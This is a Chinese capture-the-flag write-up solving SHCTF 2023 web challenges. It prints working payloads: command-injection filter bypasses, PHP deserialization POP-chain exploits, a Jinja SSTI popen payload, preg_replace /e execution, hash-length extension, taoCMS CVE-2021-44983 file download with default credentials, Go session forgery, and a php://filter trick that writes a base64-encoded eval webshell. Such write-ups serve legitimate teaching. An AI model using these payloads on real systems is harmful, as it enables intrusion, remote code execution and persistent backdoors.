[SHCTF 2023新生赛] web题解

news/2025/1/31 8:08:05/

文章目录

  • [WEEK1]
    • babyRCE
    • 1zzphp
    • ez_serialize
    • 登录就给flag
    • 飞机大战
      • 方法一
      • 方法二
    • ezphp
    • 生成你的邀请函吧~
  • [WEEK2]
    • serialize
    • no_wake_up
    • MD5的事就拜托了
      • Hashpump
      • hash_ext_attack脚本
    • ez_ssti
    • EasyCMS
  • [WEEK3]
    • sseerriiaalliizzee
    • gogogo


[WEEK1]

babyRCE

源码

<?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
}

简单的过滤,分别用反斜杠\绕过对关键字的过滤和用${IFS}绕过对空格的过滤

?rce=l\s${IFS}/

在这里插入图片描述?rce=ca\t${IFS}/fl\ag

在这里插入图片描述

1zzphp

源代码

 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{$code = (String)$_POST['c_ode'];$num=$_GET['num'];if(preg_match("/[0-9]/", $num)){die("no number!");}elseif(intval($num)){if(preg_match('/.+?SHCTF/is', $code)){die('no touch!');}if(stripos($code,'2023SHCTF') === FALSE){die('what do you want');}echo $flag;}
}  what do you want

简单分析一下,第一个是利用数组绕过intval函数;第二个是利用php解析特性和PRCE回溯绕过正则匹配
首先

?num[0]=1

成功绕过第一个if语句
在这里插入图片描述
然后就是利用脚本绕过第二个
注意变量名为c ode

import requestsdata = {'c ode': 'SHCTF' +'a'*1000000 + '2023SHCTF'
}res = requests.post('http://112.6.51.212:32100/?num[0]=1', data=data, allow_redirects=False)
print(res.text)

得到flag

在这里插入图片描述

ez_serialize

源码

<?php
highlight_file(__FILE__);class A{public $var_1;public function __invoke(){include($this->var_1);}
}class B{public $q;public function __wakeup()
{if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker";           }
}}
class C{public $var;public $z;public function __toString(){return $this->z->var;}
}class D{public $p;public function __get($key){$function = $this->p;return $function();}  
}if(isset($_GET['payload']))
{unserialize($_GET['payload']);
}
?>

pop链子如下

B.__wakeup() --> C.__toString() --> D.__get() --> A.__invoke()

exp如下

<?phpclass A{public $var_1='php://filter/read=convert.base64-encode/resource=flag.php';
}class B{public $q;
}
class C{public $var;public $z;
}class D{public $p; 
}$a=new B();
$b=new C();
$c=new D();
$d=new A();
$a->q=$b;
$b->z=$c;
$c->p=$d;
echo serialize($a);?>

用php伪协议去读,得到flag
在这里插入图片描述

登录就给flag

打开题目,发现是登录框
在这里插入图片描述
我们尝试一下,发现不是sql注入;因为不管输入什么回显都是用户密码错误
那么我们猜测要爆破密码,用户名应该为admin
bp抓包一下,随便用一个弱密码集
在这里插入图片描述

得到密码为password
登录得到flag

在这里插入图片描述

飞机大战

进去发现是游戏
在这里插入图片描述查看下js源码,搜索一下alert
发现原来条件得分要大于99999
在这里插入图片描述
去到控制台,输入下面代码

var scores = 1000000;
jixu();

发现页面被重置了,一开始卡了半天;后面发现location.reload(true);是执行页面重置

方法一

往上找找,发现won函数和Unicode编码的一串字符串

先Unicode解码

在这里插入图片描述

然后base64解码得到flag
在这里插入图片描述

方法二

我们已知won函数可以得到flag
在控制台输入以下代码

var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0033\u005a\u006a\u0067\u0030\u005a\u0044\u006c\u0069\u0059\u0069\u0030\u0033\u0059\u006d\u0045\u0077\u004c\u0054\u0051\u0033\u0059\u006d\u0045\u0074\u0059\u006a\u0063\u0031\u004e\u0079\u0031\u0068\u0059\u0054\u0064\u0069\u004d\u0044\u006b\u0030\u0059\u0057\u0056\u006a\u005a\u006d\u0056\u0039\u000a";
won();

按下回车,即可得到flag

在这里插入图片描述

ezphp

源码

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{$pattern=$_POST['pattern'];if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code)){$code=$_GET['code'];preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);echo "you are smart";}else{die("try again");}
}else{die("it is begin");
}
?> 

就是简单的正则匹配的/e模式
得到flag
在这里插入图片描述

生成你的邀请函吧~

打开题目
在这里插入图片描述
按照提示,我们要POST请求发送json数据
打开postman,一步步按要求来
得到flag
在这里插入图片描述

[WEEK2]

serialize

源码

 <?php
highlight_file(__FILE__);
class misca{public $gao;public $fei;public $a;public function __get($key){$this->miaomiao();$this->gao=$this->fei;die($this->a);}public function miaomiao(){$this->a='Mikey Mouse~';}
}
class musca{public $ding;public $dong;public function __wakeup(){return $this->ding->dong;}
}
class milaoshu{public $v;public function __tostring(){echo"misca~musca~milaoshu~~~";include($this->v);}
}
function check($data){if(preg_match('/^O:\d+/',$data)){die("you should think harder!");}else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 

分析一下

  1. 我们先找出口为milaoshu.__tostring(),可以伪协议读flag
  2. 再往前找能触发的只有misca.miaomiao()了,不过这里要用到变量引用,让$a指向__tostring()
  3. 再往前就是musca.__wakeup()访问不存在的变量去调用misca.__get()
  4. 链子构造完,再利用数组绕过check方法的检测

pop链

musca.__wakeup() --> misca.__get() --> misca.miaomiao() --> milaoshu.__tostring()

exp

<?php
class misca{public $gao;public $fei;public $a;
}
class musca{public $ding;public $dong;
}
class milaoshu{public $v='php://filter/read=convert.base64-encode/resource=flag.php';
}$a=new musca();
$b=new misca();
$c=new milaoshu();
$a->ding=$b;
$b->gao=&$b->a;
$b->fei=$c;
echo serialize(array($a));

得到flag
在这里插入图片描述

no_wake_up

源码

 <?php
highlight_file(__FILE__);
class flag{public $username;public $code;public function __wakeup(){$this->username = "guest";}public function __destruct(){if($this->username = "admin"){include($this->code);}}
}
unserialize($_GET['try']); 

exp

<?php
highlight_file(__FILE__);
class flag{public $username='admin';public $code='php://filter/read=convert.base64-encode/resource=flag.php';
}$a=new flag();
echo serialize($a);
?>

绕过wakeup,直接手动数目+1
在这里插入图片描述解码得到flag

MD5的事就拜托了

考点:变量覆盖,哈希拓展攻击

源码

 <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){extract(parse_url($_POST['SHCTF']));if($$$scheme==='SHCTF'){echo(md5($flag));echo("</br>");}if(isset($_GET['length'])){$num=$_GET['length'];if($num*100!=intval($num*100)){echo(strlen($flag));echo("</br>");}}
}
if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
} 

分析一下

  1. POST传参SHCTF,首先parse_url() 函数接受一个URL字符串作为参数,并将其分解为一个关联数组,包含了URL的不同部分;然后extract() 函数使用数组键名作为变量名,使用数组键值作为变量值;if语句考点为变量覆盖,如果为真返回flag的MD5值
  2. GET传参length,这个if语句传个小数即可绕过
  3. 最后考察的是哈希拓展攻击

我们先看条件1,本地测试下相关函数
parse_url函数

<?php
highlight_file(__FILE__);
$url='https://www.example.com:8080/path/file.php?var1=value1';
$array=parse_url($url);
var_dump($array);

测试结果为
在这里插入图片描述说明返回结果是关联数组,且数组名为对应url不同位置
所以这里变量覆盖的名称得结合url各部分的名称,构造如下

//这里我选用的是url的scheme,host,query这三个位置
$scheme=host
$$scheme=$host=query
$$$scheme=$query=SHCTFhost://query?SHCTF  //分别把值对应到url上

然后再看GET传参,直接传1.0001
返回了flag的MD5值和长度
在这里插入图片描述然后看向最后的if语句,直接网上搜md5($flag.urldecode($num)),可以搜到其考点为哈希拓展攻击。这里跟网上的例题不太一样,这道题目给的是flag的MD5值,而不是md5($flag.urldecode($num))这个整体的MD5值

所以这里有个小逻辑(我当时卡了好久),就是让上述这两个MD5值相等即可。这想法是怎么想的呢,首先哈希拓展攻击是单向的,无法反推。结合变量num的值可控,那么我们让其为空不就行了,下面我用两个工具展示一下

Hashpump

为了使得变量num为空,这里我们随便输入1,然后复制的时候不管它就行了
(注意\x要都改为%)
在这里插入图片描述得到flag

hash_ext_attack脚本

同样让明文为空
在这里插入图片描述得到flag
在这里插入图片描述

ez_ssti

先试试常用参数name,然后判断下ssti
在这里插入图片描述payload

{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}

得到flag
在这里插入图片描述

EasyCMS

考点:CVE-2021-44983

打开题目,提示taoCMS管理系统
在这里插入图片描述点开给的链接,按照提示找到CMSer模板
在这里插入图片描述
内容大概讲的是如何应用该模板,然后这里下载的版本是3.02
在这里插入图片描述
直接去网上搜,发现此版本的后台文件管理处存在任意文件下载漏洞(CVE-2021-44983)

我们先./admin/进入后台登陆界面
在这里插入图片描述
然后输入用户名:admin;密码:tao
成功进入后点击文件管理
在这里插入图片描述随便下一个,然后bp抓包
得到flag
在这里插入图片描述

[WEEK3]

sseerriiaalliizzee

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless   = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}$code=$_POST['code']; if(isset($code)){echo unserialize($code);}else{echo "no way, fuck off";}
?> 

分析一下

  1. 首先找到出口为CTF.dosomething(),这里的file_put_contents()可以进行getshell拿到flag,往前推到Start__toString()
  2. 要想触发tostring方法,只有Flag.dosomething()的return可以
  3. 再往前推,Start.__construct()方法会指向Flag类

pop链如下

Start.__construct() --> Flag.dosomething() --> Start__toString() --> CTF.dosomething()

这里有个关键点就是如何绕过死亡代码<?php die("+Genshin Impact Start!+");?>,因为它会拼接起来去执行。我们的方法是strip_tags绕过,因为死亡代码实际上是XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。所以注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。

exp如下

<?php
class Start{public $barking;}
class CTF{ public $part1;public $part2;
}class Flag{}$a=new Start();
$b=new Flag();
$c=new CTF();
$a->barking=$b;
$a->barking=$c;
$c->part1='php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$c->part2='PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==';
echo serialize($a);
?> 

上传后,访问./shell.php,得到flag
在这里插入图片描述

gogogo

考点:go代码审计,session伪造,通配符绕过

main.go

package mainimport ("main/route""github.com/gin-gonic/gin"
)func main() {r := gin.Default()r.GET("/", route.Index)r.GET("/readflag", route.Readflag)r.Run("0.0.0.0:8000")
}

分析一下,就是给了两个路由。然后追踪再看看route.go

package routeimport ("github.com/gin-gonic/gin""github.com/gorilla/sessions""main/readfile""net/http""os""regexp"
)var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] !== nil {session.Values["name"] = "User"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, User. How to become admin?")}func Readflag(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == "admin" {c.String(200, "Congratulation! You are admin,But how to get flag?\n")path := c.Query("filename")reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)if reg.MatchString(path) {http.Error(c.Writer, "nonono", http.StatusInternalServerError)return}var data []byteif path != "" {data = readfile.ReadFile(path)} else {data = []byte("请传入参数")}c.JSON(200, gin.H{"success": "read: " + string(data),})} else {c.String(200, "Hello, User. How to become admin?")}
}

index函数作用是如果session中name的值不为nil,它将把name值设置为User;然后看readflag函数,发现检测name的值是否为admin,如果是可以进行读取文件

这里的意思很好懂,就是要把name的值改为admin。但是抓包后发现是有加密的
在这里插入图片描述具体加密方式在源码中给了

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

大概意思是使用os.Getenv(“SESSION_KEY”)获取环境变量"SESSION_KEY"的值,这个值将用作会话存储的密钥。但是我们怎么能获取key呢,只能对SESSION_KEY进行猜测,就是并未设置SESSION_KEY,所以我们可以本地搭环境得到session值去伪造

首先把附件源码复制到创建的文件夹里
在这里插入图片描述

设置以下代理

go env -w GOPROXY=https://goproxy.io,direct

在这里插入图片描述

修改下index代码

func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" {session.Values["name"] = "admin"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, User. How to become admin?")}

目的就是如果不为admin,将会把name设置成admin,也就达成我们的目的
然后跑一下main.go
在这里插入图片描述访问127.0.0.1:8000,对应的cookie即为admin
在这里插入图片描述

最后就是readfile.go

package readfileimport ("os/exec"
)func ReadFile(path string) (string2 []byte) {defer func() {panic_err := recover()if panic_err != nil {}}()cmd := exec.Command("bash", "-c", "strings  "+path)string2, err := cmd.Output()if err != nil {string2 = []byte("文件不存在")}return string2
}

简单的读取文件,构造出读取文件的语句./flag

回到题目,我们已经得到admin的cookie了
访问./readflag,bp抓包修改name值
在这里插入图片描述然后看看过滤条件

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

不难发现有个a还可以用并且问号没被过滤,这里采取通配符绕过
payload

?file=/??a?

得到flag
在这里插入图片描述


http://www.ppmy.cn/news/1185737.html

相关文章

DC电源模块如何承受超负荷电流的能力

BOSHIDA DC电源模块如何承受超负荷电流的能力 DC电源模块是现代电子设备中必不可少的部件&#xff0c;它们通常被用来将交流电转换为稳定的直流电&#xff0c;为电子设备提供所需的电力。在某些情况下&#xff0c;DC电源模块可能会遇到超负荷电流的情况&#xff0c;如启动过程…

Websocket传递JWT令牌

在访问带有[Authorize]的方法的时候&#xff0c;需要前端通过自定义报文头的形式将JWT令牌传递给后端进行验证&#xff0c;否则是不能访问带有[Authorize]的方法。 [Authorize]是用于限制对web应用程序中某些操作或控制器的访问。当[授权]属性应用于操作或控制器时&#xff0c;…

PowerBI 一些基础功能(2)

1、 2、 3、 4、 5、 6、 7、 8、 9、 10、 11、 12、 13、 14、 15、 16、 17、 18、 19、 20、 21、 22、 23、 24、 25、 26、 27、 28、 29、 30、 31、 32、 33、 34、 35、 36、 37、 38、 39、 40、 41、 42、 43、 44、 4…

【机器学习合集】模型设计之网络宽度和深度设计 ->(个人学习记录笔记)

文章目录 网络宽度和深度设计1. 什么是网络深度1.1 为什么需要更深的模型浅层学习的缺陷深度网络更好拟合特征学习更加简单 2. 基于深度的模型设计2.1 AlexNet2.2 AlexNet工程技巧2.3 VGGNet 3. 什么是网络宽度3.1 为什么需要足够的宽度 4. 基于宽度模型的设计4.1 经典模型的宽…

<多线程章节八> 单例模式中的饿汉模式与懒汉模式的讲解,以及懒汉模式中容易引起的Bug

&#x1f490;专栏导读 本篇文章收录于多线程&#xff0c;也欢迎翻阅博主的其他文章&#xff0c;可能也会让你有不一样的收获&#x1f604; &#x1f337;JavaSE &#x1f342;多线程 &#x1f33e;数据结构 文章目录 &#x1f490;专栏导读&#x1f4a1;饿汉模式&#x1f4a1;…

图解Kafka高性能之谜(五)

高性能的多分区、冗余副本集群架构 高性能网络模型NIO 简单架构设计&#xff1a; 详细架构设计&#xff1a; 高性能的磁盘写技术 高性能的消息查找设计 索引文件定位使用跳表的设计 偏移量定位消息时使用稀疏索引&#xff1a; 高响应的磁盘拷贝技术 kafka采用sendFile()的…

【ARMv8 SIMD和浮点指令编程】NEON 通用数据处理指令——复制、反转、提取、转置...

NEON 通用数据处理指令包括以下指令(不限于): • DUP 将标量复制到向量的所有向量线。 • EXT 提取。 • REV16、REV32、REV64 反转向量中的元素。 • TBL、TBX 向量表查找。 • TRN 向量转置。 • UZP、ZIP 向量交叉存取和反向交叉存取。 1 DUP (element) 将…

独创改进 | RT-DETR 引入 Asymptotic Hybrid Encoder | 渐进混合特征解码结构

本专栏内容均为博主独家全网首发,未经授权,任何形式的复制、转载、洗稿或传播行为均属违法侵权行为,一经发现将采取法律手段维护合法权益。我们对所有未经授权传播行为保留追究责任的权利。请尊重原创,支持创作者的努力,共同维护网络知识产权。 文章目录 网络结构实验结果…